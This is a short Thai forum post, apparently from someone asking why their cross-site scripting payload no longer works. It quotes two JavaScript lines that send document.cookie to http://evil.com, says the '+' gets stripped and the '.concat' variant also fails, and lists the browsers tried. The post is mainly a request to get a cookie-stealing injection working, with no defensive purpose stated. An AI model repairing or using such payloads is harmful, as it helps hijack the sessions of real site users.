เดี๋ยวนี้ xss ทำแบบนี้ไม่ได้แล้วเหรอครับ

window.location('http://evil.com?'+document.cookie);

ทำแล้วไอ้ + มันหายไปครับ ลอง window.location('http://evil.com?'.concat(document.cookie));

ก็ไม่ได้ครับ คือเหมือนมันทำได้ทีละฟังชัน เอาหลาย ๆ ฟังชันมารวมกันไม่ได้ครับ

ลอง chrome ตัวล่าสุด ie8 กับ firefox ตัวล่าสุดก็ไม่ได้ครับ